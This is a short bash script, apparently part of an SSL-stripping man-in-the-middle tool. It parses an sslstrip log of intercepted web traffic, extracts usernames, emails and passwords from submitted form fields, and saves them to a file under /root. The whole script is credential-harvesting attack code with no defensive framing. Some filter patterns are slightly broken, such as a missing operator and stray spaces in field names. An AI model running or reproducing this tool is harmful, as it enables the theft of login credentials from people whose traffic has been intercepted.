#!/bin/bash
echo "Do you want to save passwords to a file? (Y=keep)"
echo "(If you want to keep it, it will be saved in /root/filename.pass.txt)"
read -e keeppd
if [[ $keeppd = "Y" || $keeppd = "y" ]] ; then # double brackets because double condition. || signifies "or"
cat /root/sslstrip.log |
awk -F "&" '!/GET/ && !/if/ !/header/ && !/^[0-9]/ && !/</ && /[PpEeUuLlCc_][A-Za-z]*=[A-Za-z0-9.%_-]*/ {if (NF >= 2) print $0}' |
awk -F "&" '{for(i=1;i<=NF;i++) print $i }' |
egrep -a -i "pwd=|pass=|passwd=|password=|textbox=|email=|user =|username=|login=|credential=|_user|_pwd=|email_a ddress=" |
awk -F "=" '{if (length($2) < 3) print "\b"; else if ($1 ~/[Pp]/) print "Password = " $2"\n"; else print "Login =", $2}' >& /root/filename.pass.txt #we do it all over again... There should be a way not to re-do that...
if [ -f "/root/filename.pass.txt" ]; then #check if it exists
echo "Passwords saved !" #it does
else echo "Error while saving passwords" #it does not
fi
else echo "Password saving skipped."
fi
rm /root/filename.txt
echo -e "\nTemporary files deleted."